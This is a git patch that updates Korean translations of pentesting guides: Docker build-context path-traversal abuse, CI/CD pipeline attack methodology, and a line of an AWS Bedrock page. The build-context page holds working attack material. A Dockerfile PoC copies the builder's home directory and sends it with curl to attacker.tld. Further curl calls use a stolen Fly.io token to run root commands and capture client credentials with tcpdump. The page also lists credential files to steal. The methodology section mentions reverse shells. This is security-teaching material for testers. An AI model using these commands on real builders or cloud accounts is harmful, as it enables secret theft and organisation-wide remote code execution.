From 710ae1d551d9b8df0bc667820e3a025fda3960cb Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 25 Oct 2025 22:35:32 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-services/aws-bedrock- --- .../docker-build-context-abuse.md | 53 ++++++------ .../pentesting-ci-cd-methodology.md | 86 +++++++++---------- .../aws-services/aws-bedrock-enum.md | 2 +- 3 files changed, 71 insertions(+), 70 deletions(-) diff --git a/src/pentesting-ci-cd/docker-build-context-abuse.md b/src/pentesting-ci-cd/docker-build-context-abuse.md index 4754b2a3e..4460c9628 100644 --- a/src/pentesting-ci-cd/docker-build-context-abuse.md +++ b/src/pentesting-ci-cd/docker-build-context-abuse.md @@ -4,26 +4,26 @@ ## TL;DR -CI/CD 플랫폼이나 hosted builder가 기여자에게 Docker build context 경로와 Dockerfile 경로를 지정하도록 허용하면, context를 상위 디렉토리(예: "..")로 설정해 호스트 파일을 build context의 일부로 만들 수 있는 경우가 많습니다. 그러면 공격자가 제어하는 Dockerfile이 COPY로 빌더 사용자 홈(예: ~/.docker/config.json)에 있는 비밀을 exfiltrate할 수 있습니다. 도난당한 registry tokens는 provider의 control-plane APIs에 대해 작동하여 조직 전체의 RCE를 가능하게 할 수도 있습니다. +CI/CD 플랫폼이나 hosted builder가 기여자가 Docker build context 경로와 Dockerfile 경로를 지정하도록 허용하면, 컨텍스트를 상위 디렉토리(예: "..")로 설정해 호스트 파일을 빌드 컨텍스트의 일부로 만들 수 있는 경우가 많습니다. 그런 다음 공격자가 제어하는 Dockerfile이 COPY를 사용해 빌더 사용자 홈에서 발견되는 비밀(예: ~/.docker/config.json)을 유출할 수 있습니다. 훔친 registry tokens은 제공자의 control-plane APIs에 대해 동작할 수도 있어 조직 전체의 RCE를 초래할 수 있습니다. ## 공격 표면 -많은 hosted builder/registry 서비스는 사용자가 제출한 이미지를 빌드할 때 대략 다음과 같은 작업을 수행합니다: -- repo-level config를 읽는데 여기에는 다음이 포함됩니다: -- build context path (Docker daemon으로 전송됨) -- Dockerfile path (해당 context에 상대적) +많은 hosted builder/registry 서비스는 사용자 제출 이미지를 빌드할 때 대체로 다음을 수행합니다: +- 다음을 포함하는 repo-level config를 읽음: + - build context path (Docker daemon으로 전송됨) + - 해당 context에 상대적인 Dockerfile path - 지정된 build context 디렉토리와 Dockerfile을 Docker daemon으로 복사 -- 이미지를 빌드하고 hosted service로 실행 +- 이미지를 빌드하고 호스티드 서비스로 실행 -플랫폼이 build context를 canonicalize하거나 제한하지 않으면 사용자가 그것을 저장소 외부의 위치(path traversal)로 설정할 수 있으며, 이로 인해 빌드 사용자가 읽을 수 있는 임의의 호스트 파일들이 build context의 일부가 되어 Dockerfile에서 COPY로 접근 가능해집니다. +플랫폼이 build context를 정규화(canonicalize)하거나 제한하지 않으면, 사용자는 이를 리포지터리 외부 위치로 설정할 수 있으며(path traversal), 그 결과 빌드 사용자에게 읽기 가능한 임의의 호스트 파일이 build context의 일부가 되어 Dockerfile에서 COPY로 접근할 수 있게 됩니다. 일반적으로 관찰되는 실무적 제약: -- Dockerfile은 선택한 context path 내에 있어야 하며 그 경로는 사전에 알려져 있어야 합니다. -- 빌드 사용자가 context에 포함된 파일들을 읽을 수 있는 권한이 있어야 합니다; 특수 디바이스 파일은 복사를 실패시킬 수 있습니다. +- Dockerfile은 선택한 context 경로 내에 존재해야 하며 그 경로는 미리 알려져 있어야 합니다. +- 빌드 사용자는 context에 포함된 파일들을 읽을 수 있어야 하며; 특수 디바이스 파일은 복사를 실패하게 만들 수 있습니다. -## PoC: Docker build context를 통한 Path traversal +## PoC: Path traversal via Docker build context -상위 디렉토리 컨텍스트 내에 Dockerfile을 선언한 악성 서버 구성 예: +상위 디렉토리 context 내에 Dockerfile을 선언한 악의적 서버 설정 예: ```yaml runtime: "container" build: @@ -40,8 +40,9 @@ required: ["apiKey"] exampleConfig: apiKey: "sk-example123" ``` -- Using ".." often resolves to the builder user’s home (e.g., /home/builder), which typically contains sensitive files. -- Place your Dockerfile under the repo’s directory name (e.g., repo "test" → test/Dockerfile) so it remains within the expanded parent context. +Notes: +- ".."는 종종 builder 사용자의 홈(예: /home/builder)으로 해석되며, 일반적으로 민감한 파일을 포함합니다. +- Dockerfile을 repo의 디렉터리 이름 아래(예: repo "test" → test/Dockerfile)에 두어 확장된 상위 context 내에 남아 있도록 하세요. ## PoC: Dockerfile to ingest and exfiltrate the host context ```dockerfile @@ -51,34 +52,34 @@ RUN mkdir /data COPY . /data # Copies entire build context (now builder’s $HOME) RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0) ``` -$HOME에서 일반적으로 회수되는 대상: +$HOME에서 흔히 획득되는 대상: - ~/.docker/config.json (registry auths/tokens) -- 기타 cloud/CLI 캐시 및 설정(예: ~/.fly, ~/.kube, ~/.aws, ~/.config/*) +- 기타 cloud/CLI 캐시 및 구성 (예: ~/.fly, ~/.kube, ~/.aws, ~/.config/*) -팁: 저장소에 .dockerignore가 있더라도 취약한 플랫폼 측의 context selection이 무엇이 daemon으로 전송되는지를 결정합니다. 플랫폼이 선택된 경로를 repo의 .dockerignore를 평가하기 전에 daemon으로 복사하면 호스트 파일이 여전히 노출될 수 있습니다. +팁: 리포지토리에 .dockerignore가 있더라도, 취약한 플랫폼 측의 context 선택이 데몬으로 전송되는 항목을 여전히 결정합니다. 플랫폼이 선택한 경로를 데몬으로 복사한 후에 리포의 .dockerignore를 평가한다면 호스트 파일이 여전히 노출될 수 있습니다. -## Cloud pivot with overprivileged tokens (example: Fly.io Machines API) +## 과도한 권한 토큰으로 클라우드 피벗 (example: Fly.io Machines API) -일부 플랫폼은 container registry와 control-plane API 모두에 사용할 수 있는 단일 bearer token을 발급합니다. registry token을 exfiltrate했다면 provider API에 대해 시도해보세요. +일부 플랫폼은 container registry와 control-plane API 둘 다에 사용할 수 있는 단일 bearer token을 발급합니다. 만약 registry token을 탈취했다면 provider API에 대해 사용해 보세요. -예: ~/.docker/config.json에서 훔친 token을 사용한 Fly.io Machines API에 대한 API 호출 예: +다음은 ~/.docker/config.json에서 탈취한 토큰을 사용해 Fly.io Machines API에 대한 예시 API 호출입니다: -조직에서 앱 열거: +조직 내 앱 열거: ```bash curl -H "Authorization: Bearer fm2_..." \ "https://api.machines.dev/v1/apps?org_slug=smithery" ``` -앱의 어떤 머신에서든 root로 명령 실행: +앱의 어떤 머신에서든 root로 명령을 실행: ```bash curl -s -X POST -H "Authorization: Bearer fm2_..." \ "https://api.machines.dev/v1/apps//machines//exec" \ --data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}' ``` -결과: 토큰이 충분한 권한을 가진 경우, 모든 호스팅된 앱에서 조직 전반에 걸친 remote code execution. +Outcome: 조직 전체에서 token이 충분한 권한을 가진 경우 모든 hosted apps에 대한 org-wide remote code execution. -## 탈취된 호스팅 서비스에서의 비밀 탈취 +## 침해된 호스팅 서비스로부터의 비밀 탈취 -호스팅된 서버에서 exec/RCE를 획득하면, 클라이언트가 제공한 비밀(API keys, tokens)을 수집하거나 prompt-injection 공격을 수행할 수 있습니다. 예: tcpdump를 설치하고 port 8080의 HTTP 트래픽을 캡처하여 들어오는 자격 증명을 추출합니다. +exec/RCE로 호스팅된 서버에 접근하면 클라이언트가 제공한 secrets (API keys, tokens)을 수집하거나 prompt-injection attacks를 수행할 수 있다. 예: tcpdump를 설치하고 포트 8080의 HTTP 트래픽을 캡처해 인바운드 credentials를 추출한다. ```bash # Install tcpdump inside the machine curl -s -X POST -H "Authorization: Bearer fm2_..." \ @@ -90,9 +91,9 @@ curl -s -X POST -H "Authorization: Bearer fm2_..." \ "https://api.machines.dev/v1/apps//machines//exec" \ --data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}' ``` -캡처된 요청에는 종종 헤더, 본문 또는 쿼리 파라미터에 클라이언트 자격 증명이 포함되어 있습니다. +캡처된 요청에는 종종 헤더, 본문 또는 쿼리 매개변수에 클라이언트 자격 증명이 포함되어 있습니다. -## 참조 +## 참고자료 - [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/) - [Fly.io Machines API](https://fly.io/docs/machines/api/) diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index 7144d09bf..892861469 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -1,4 +1,4 @@ -# Pentesting CI/CD 방법론 +# Pentesting CI/CD Methodology {{#include ../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ ## VCS -VCS는 **Version Control System**의 약자로, 이 시스템은 개발자가 **소스 코드를 관리**할 수 있게 해줍니다. 가장 일반적인 것은 **git**이며 보통 회사에서는 다음 **platforms** 중 하나를 사용합니다: +VCS는 **Version Control System**의 약자로, 이 시스템은 개발자가 **source code를 관리**할 수 있게 해줍니다. 가장 일반적인 것은 **git**이며, 회사들은 보통 다음과 같은 **platforms** 중 하나를 사용합니다: - Github - Gitlab @@ -18,36 +18,36 @@ VCS는 **Version Control System**의 약자로, 이 시스템은 개발자가 ** ## CI/CD Pipelines -CI/CD 파이프라인은 개발자가 애플리케이션을 빌드, 테스트, 배포하는 등 다양한 목적으로 **코드 실행을 자동화**할 수 있게 해줍니다. 이러한 자동화된 워크플로우는 코드 푸시, pull request, 스케줄된 작업 같은 **특정 액션에 의해 트리거**됩니다. 이들은 개발에서 운영까지의 과정을 간소화하는 데 유용합니다. +CI/CD pipelines는 개발자가 빌드, 테스트, 배포 등 다양한 목적을 위해 **코드 실행을 자동화**할 수 있게 해줍니다. 이러한 자동화된 워크플로우는 코드 푸시, pull requests, 또는 예약 작업과 같은 **특정 동작에 의해 트리거**됩니다. 이는 개발에서 프로덕션으로 가는 과정을 간소화하는 데 유용합니다. -하지만 이 시스템들은 어딘가에서 **실행되어야 하고**, 보통은 **코드를 배포하거나 민감한 정보에 접근하기 위한 권한이 있는 자격 증명**으로 실행됩니다. +그러나 이러한 시스템은 **어딘가에서 실행되어야** 하고 보통은 **код를 배포하거나 민감한 정보에 접근하기 위한 권한 있는 자격증명**을 필요로 합니다. -## VCS Pentesting 방법론 +## VCS Pentesting Methodology > [!NOTE] > Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code. -프로젝트의 소스 코드를 포함하는 플랫폼은 민감한 정보를 담고 있으므로 플랫폼 내 권한 설정에 매우 유의해야 합니다. 공격자가 악용할 수 있는 VCS 플랫폼 전반의 일반적인 문제들은 다음과 같습니다: +프로젝트의 source code를 포함하는 플랫폼에는 민감한 정보가 들어있으며, 이 플랫폼 내에서 부여되는 권한을 매우 신중하게 관리해야 합니다. 공격자가 악용할 수 있는 VCS 플랫폼 전반의 일반적인 문제는 다음과 같습니다: -- **Leaks**: 코드에 leak가 포함되어 있고 공격자가 repo에 접근할 수 있다면(퍼블릭이거나 접근 권한이 있는 경우) 해당 leak를 발견할 수 있습니다. -- **Access**: 공격자가 VCS platform 내의 계정에 **접근(access)**할 수 있다면 **더 많은 가시성 및 권한**을 얻을 수 있습니다. -- **Register**: 일부 플랫폼은 외부 사용자가 계정을 생성하는 것을 허용합니다. -- **SSO**: 일부 플랫폼은 사용자가 직접 등록하는 것은 허용하지 않지만 유효한 SSO로 누구나 접근할 수 있게 허용하기도 합니다(예: 공격자가 자신의 github 계정으로 접근할 수 있음). -- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies 등 다양한 종류의 토큰을 공격자가 훔쳐서 repo에 어떤 식으로든 접근할 수 있습니다. -- **Webhooks**: VCS 플랫폼은 webhooks를 생성할 수 있게 해줍니다. 만약 webhooks가 보이지 않는 비밀값으로 **보호되어 있지 않다면**, **공격자가 이를 악용할 수 있습니다**. -- 만약 시크릿이 없는 상태라면, 공격자는 서드파티 플랫폼의 webhook을 악용할 수 있습니다. -- 시크릿이 URL에 포함되어 있다면 동일하게 시크릿을 얻어 공격에 악용할 수 있습니다. -- **Code compromise:** 악의적인 행위자가 repo에 **write** 권한을 가지고 있다면 **악성 코드 주입**을 시도할 수 있습니다. 성공하려면 **branch protections를 우회**해야 할 수도 있습니다. 이러한 행위는 여러 목적을 가질 수 있습니다: +- **Leaks**: 코드에 commits에 leaks가 포함되어 있고 공격자가 repo에 접근할 수 있다면(공개이거나 접근 권한이 있는 경우) 그 leaks를 발견할 수 있습니다. +- **Access**: 공격자가 **VCS platform 내의 계정에 접근**할 수 있다면 **더 많은 가시성 및 권한**을 얻을 수 있습니다. +- **Register**: 일부 플랫폼은 외부 사용자가 계정을 생성하도록 허용합니다. +- **SSO**: 일부 플랫폼은 사용자가 등록하는 것을 허용하지 않지만 유효한 SSO로 누구나 접근할 수 있게 허용합니다(예: 공격자가 자신의 github 계정으로 접근할 수 있음). +- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies 등 리포지토리에 접근하기 위해 탈취될 수 있는 여러 종류의 토큰이 있습니다. +- **Webhooks**: VCS 플랫폼은 webhooks를 생성할 수 있게 합니다. 만약 webhooks가 보이지 않는 비밀로 **보호되고 있지 않다면** **공격자가 악용할 수 있습니다**. +- If no secret is in place, the attacker could abuse the webhook of the third party platform +- If the secret is in the URL, the same happens and the attacker also have the secret +- **Code compromise:** 악의적인 행위자가 리포지토리에 대한 **write** 권한을 가지고 있다면, 그는 **악성 코드 삽입**을 시도할 수 있습니다. 성공하려면 **branch protections을 우회**해야 할 수도 있습니다. 이러한 행위는 다양한 목적을 가질 수 있습니다: - main branch를 손상시켜 **production을 침해**. - - main(또는 다른) 브랜치를 손상시켜 **개발자 기기들을 침해** (개발자들이 테스트, terraform 등 repo 내에서 실행하기 때문). - - **파이프라인 침해** (다음 섹션 참조) + - main(또는 다른) branch를 손상시켜 **개발자 머신을 침해**(개발자들이 리포에서 테스트, terraform 등 작업을 실행하는 경우). +- **Compromise the pipeline** (check next section) -## Pipelines Pentesting 방법론 +## Pipelines Pentesting Methodology -파이프라인을 정의하는 가장 일반적인 방법은 **빌드되는 리포지토리에 호스팅된 CI 구성 파일**을 사용하는 것입니다. 이 파일은 실행되는 작업의 순서, 흐름에 영향을 미치는 조건, 빌드 환경 설정을 설명합니다.\ -이 파일들은 일반적으로 일관된 이름과 포맷을 가지며, 예를 들어 Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), 그리고 .github/workflows 아래의 GitHub Actions YAML 파일들이 있습니다. 트리거되면 파이프라인 작업은 선택된 소스(예: 커밋/브랜치)에서 **코드를 pull**하고, CI 구성 파일에 명시된 **명령들을 해당 코드에 대해 실행**합니다. +파이프라인을 정의하는 가장 일반적인 방법은 **파이프라인이 빌드하는 리포지토리에 호스팅된 CI 구성 파일**을 사용하는 것입니다. 이 파일은 실행되는 job의 순서, 흐름에 영향을 주는 조건, 빌드 환경 설정 등을 설명합니다. +이 파일들은 일반적으로 일관된 이름과 형식을 가집니다. 예를 들어 — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), 그리고 .github/workflows 아래의 GitHub Actions YAML 파일들. 트리거되면 파이프라인 job은 선택된 소스(예: commit / branch)에서 **코드를 pull**하고, CI 구성 파일에 지정된 **명령을 해당 코드에 대해 실행**합니다. -따라서 공격자의 궁극적 목표는 해당 구성 파일들이나 **구성 파일이 실행하는 명령들**을 어떤 방식으로든 **침해(compromise)**하는 것입니다. +따라서 공격자의 궁극적인 목표는 어떻게든 이러한 구성 파일들이나 **실행하는 명령들**을 **compromise**하는 것입니다. > [!TIP] > Some hosted builders let contributors choose the Docker build context and Dockerfile path. If the context is attacker-controlled, you may set it outside the repo (e.g., "..") to ingest host files during build and exfiltrate secrets. See: @@ -58,48 +58,48 @@ CI/CD 파이프라인은 개발자가 애플리케이션을 빌드, 테스트, ### PPE - Poisoned Pipeline Execution -Poisoned Pipeline Execution (PPE) 경로는 SCM 리포지토리의 권한을 악용하여 CI 파이프라인을 조작하고 유해한 명령을 실행하게 합니다. 필요한 권한이 있는 사용자는 CI 구성 파일이나 파이프라인 작업이 사용하는 다른 파일을 수정하여 악성 명령을 포함시킬 수 있습니다. 이렇게 CI 파이프라인이 "poison"되면 해당 악성 명령이 실행됩니다. +The Poisoned Pipeline Execution (PPE) 경로는 SCM 리포지토리의 권한을 악용하여 CI 파이프라인을 조작하고 유해한 명령을 실행하게 합니다. 필요한 권한을 가진 사용자는 CI 구성 파일이나 파이프라인 job에서 사용하는 다른 파일을 수정하여 악성 명령을 포함시킬 수 있습니다. 이렇게 CI 파이프라인을 "poison"하면 이 악성 명령들이 실행됩니다. 공격자가 PPE 공격을 성공적으로 수행하려면 다음이 필요합니다: -- 보통 파이프라인은 push나 pull request가 수행될 때 트리거되므로, **VCS platform에 대한 write access**가 필요합니다. (VCS pentesting 방법론 섹션에서 접근 획득 방법 요약을 확인하세요). -- 때로는 **외부 PR도 "write access"로 간주될 수 있다는 점**에 주의하세요. -- write 권한이 있더라도, **CI config 파일이나 config가 의존하는 다른 파일을 수정할 수 있어야** 합니다. -- 이를 위해서는 **branch protections를 우회**할 수 있어야 할 수 있습니다. +- **VCS platform에 대한 write access**를 가지고 있어야 합니다. 보통 파이프라인은 push나 pull request가 발생하면 트리거되기 때문입니다. (VCS pentesting methodology를 참조하세요.) +- 외부 PR이 때때로 **"write access"로 간주**되기도 한다는 점에 유의하세요. +- 설령 write 권한이 있더라도, 그는 **CI config 파일이나 config가 의존하는 다른 파일들을 수정할 수 있는지** 확신해야 합니다. +- 이를 위해서는 **branch protections을 우회**할 수 있어야 할 수도 있습니다. PPE에는 3가지 변형이 있습니다: -- **D-PPE**: 공격자가 실행될 CI config 파일을 직접 **수정**할 때 발생하는 **Direct PPE** 공격입니다. -- **I-DDE**: 공격자가 CI config가 **의존하는 파일(예: makefile, terraform config 등)**을 **수정**할 때 발생하는 **Indirect PPE** 공격입니다. -- **Public PPE or 3PE**: 경우에 따라 파이프라인은 repo에 write access가 없는 사용자(심지어 조직 외부 사용자)도 PR을 보내 트리거할 수 있습니다. -- **3PE Command Injection**: 보통 CI/CD 파이프라인은 PR에 대한 정보를 담은 **environment variables**를 설정합니다. 그 값이 공격자에 의해 제어될 수 있고(예: PR 제목) **위험한 곳(예: sh 명령 실행)에 사용**된다면 공격자는 그곳에 **명령을 주입**할 수 있습니다. +- **D-PPE**: **Direct PPE** 공격은 행위자가 **실행될 CI config** 파일을 직접 **수정**할 때 발생합니다. +- **I-DDE**: **Indirect PPE** 공격은 행위자가 CI config가 의존하는 **파일**(예: make file이나 terraform 구성)을 **수정**할 때 발생합니다. +- **Public PPE or 3PE**: 경우에 따라 파이프라인은 repo에 write access가 없는 사용자(조직의 일원이 아닐 수도 있음)가 보낸 PR에 의해 **트리거**될 수 있습니다. +- **3PE Command Injection**: 일반적으로 CI/CD 파이프라인은 PR에 대한 정보를 **환경 변수**로 설정합니다. 만약 그 값이 공격자에 의해 제어될 수 있고(예: PR 제목) **위험한 위치**(예: sh 명령 실행)에 사용된다면, 공격자는 그 안에 **명령 주입**을 할 수 있습니다. ### Exploitation Benefits -세 가지 PPE 변형을 알았으니, 공격자가 성공적으로 악용했을 때 얻을 수 있는 것들을 살펴보겠습니다: +세 가지 PPE 변형을 알았으니, 성공적인 exploitation 후 공격자가 얻을 수 있는 것을 살펴봅시다: -- **Secrets**: 앞서 언급했듯이 파이프라인 작업은 코드 검색, 빌드, 배포 등을 위해 **특권**이 필요하고, 이러한 특권은 보통 **시크릿**으로 부여됩니다. 이 시크릿들은 보통 **env variables 또는 시스템 내 파일**을 통해 접근 가능하므로 공격자는 가능한 많은 시크릿을 탈취하려고 합니다. -- 파이프라인 플랫폼에 따라 공격자는 **config에 시크릿을 명시해야 하는 경우**가 있습니다. 이는 공격자가 CI 구성 파일을 수정할 수 없는 경우(**I-PPE 등**)라면 해당 파이프라인이 가진 시크릿만 탈취할 수 있다는 의미입니다. -- **Computation**: 코드가 어딘가에서 실행되므로, 실행 위치에 따라 공격자는 추가로 피벗할 수 있습니다. -- **On-Premises**: 파이프라인이 온프레미스에서 실행된다면 공격자는 내부 네트워크에 도달하여 더 많은 자원에 접근할 수 있습니다. -- **Cloud**: 공격자는 클라우드 내 다른 머신에 접근하거나 IAM 역할/서비스 계정 토큰을 탈취해 클라우드 내부에서 더 많은 권한을 얻을 수 있습니다. -- **Platforms machine**: 때때로 작업은 파이프라인 플랫폼의 머신에서 실행되며, 이 머신들은 보통 더 이상의 접근 권한이 없는 클라우드 환경에 있습니다. -- **Select it:** 때때로 파이프라인 플랫폼은 여러 대의 머신을 구성해두고 있으며, CI 구성 파일을 수정할 수 있다면 **어떤 머신에서 악성 코드를 실행할지 지정**할 수 있습니다. 이 경우 공격자는 가능한 각 머신에 리버스 셸을 실행해 추가 취약점을 노릴 것입니다. -- **Compromise production**: 파이프라인 안에 있고 최종 버전이 파이프라인에서 빌드되어 배포된다면, 운영 환경에서 실행될 코드를 **침해**할 수 있습니다. +- **Secrets**: 앞서 언급했듯이 파이프라인은 코드 검색, 빌드, 배포 등을 위해 **privileges**를 필요로 하며 이 권한들은 보통 **secrets**로 부여됩니다. 이러한 secrets는 보통 **env variables**나 시스템 내부의 파일로 접근 가능합니다. 따라서 공격자는 가능한 많은 secrets를 항상 탈취하려고 할 것입니다. +- 파이프라인 플랫폼에 따라 공격자는 **config에 secrets를 명시해야 하는 경우**가 있습니다. 즉, 공격자가 CI 구성 파이프라인 자체를 수정할 수 없다면(**I-PPE** 같은 경우), 그는 **그 파이프라인이 가진 secrets만** 탈취할 수 있습니다. +- **Computation**: 코드가 어딘가에서 실행되므로, 실행 위치에 따라 공격자는 추가적인 피벗을 시도할 수 있습니다. +- **On-Premises**: 파이프라인이 온프레미스에서 실행된다면, 공격자는 **내부 네트워크에 접근**하여 더 많은 자원에 접근할 수 있습니다. +- **Cloud**: 공격자는 클라우드 내의 다른 머신에 접근하거나 IAM roles/service accounts **tokens**를 탈취하여 클라우드 내부에서 **추가 접근 권한**을 획득할 수 있습니다. +- **Platforms machine**: 때때로 job은 **pipelines platform machines** 내부에서 실행되며, 이들은 보통 추가 접근 권한이 없는 클라우드 내의 머신일 수 있습니다. +- **Select it:** 때때로 **pipelines platform은 여러 머신을 구성**해 두고 있으며, CI 구성 파일을 수정할 수 있다면 **악성 코드를 어느 머신에서 실행할지 지정**할 수 있습니다. 이런 경우 공격자는 가능한 각 머신에 대해 리버스 쉘을 실행하여 추가 취약점을 노릴 것입니다. +- **Compromise production**: 파이프라인 내부에 있고 최종 버전이 거기서 빌드되어 배포된다면, 프로덕션에서 실행될 코드를 **침해**할 수 있습니다. -## 추가 관련 정보 +## More relevant info ### Tools & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) 는 새로운 [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf)를 기반으로 소프트웨어 공급망 스택의 보안 규정 준수를 감사하는 오픈소스 도구입니다. 이 감사는 전체 SDLC 프로세스에 초점을 맞추며, 코드 단계부터 배포 단계까지의 리스크를 드러낼 수 있습니다. +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) 는 새로운 [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf)를 기반으로 소프트웨어 공급망 스택의 보안 컴플라이언스를 감사하는 오픈소스 도구입니다. 이 감사는 전체 SDLC 프로세스에 초점을 맞추며, 코드 단계에서 배포 단계까지의 위험을 드러낼 수 있습니다. ### Top 10 CI/CD Security Risk -Cider에 따르면 CI/CD의 상위 10개 리스크에 관한 흥미로운 기사: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) +Cider에 따른 top 10 CI/CD 위험에 관한 흥미로운 글을 확인하세요: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) ### Labs -- 로컬에서 실행할 수 있는 각 플랫폼에 대해 로컬로 어떻게 실행하는지 설명이 있으니 원하는 대로 구성하여 테스트할 수 있습니다. +- 로컬에서 실행할 수 있는 각 플랫폼에 대해 로컬에서 어떻게 실행하는지 설명되어 있으므로 원하는 대로 구성하여 테스트할 수 있습니다. - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) ### Automatic Tools diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md index 5889a5d52..b2cb3eaa7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md @@ -4,7 +4,7 @@ ## 개요 -Amazon Bedrock은 선도적인 AI 스타트업과 Amazon의 foundation models (FMs)을 사용해 generative AI 애플리케이션을 쉽게 구축하고 확장할 수 있게 해주는 완전관리형 서비스입니다. Bedrock은 단일 API를 통해 다양한 FMs에 접근할 수 있게 하여, 개발자가 기본 인프라를 관리하지 않고도 특정 사용 사례에 가장 적합한 모델을 선택할 수 있도록 합니다. +Amazon Bedrock은 선도적인 AI 스타트업과 Amazon의 기반 모델(FMs)을 사용해 생성형 AI 애플리케이션을 손쉽게 구축하고 확장할 수 있게 해주는 완전 관리형 서비스입니다. Bedrock은 단일 API를 통해 다양한 FMs에 접근할 수 있도록 하여, 개발자가 기본 인프라를 직접 관리하지 않고도 특정 사용 사례에 가장 적합한 모델을 선택할 수 있게 합니다. ## Post Exploitation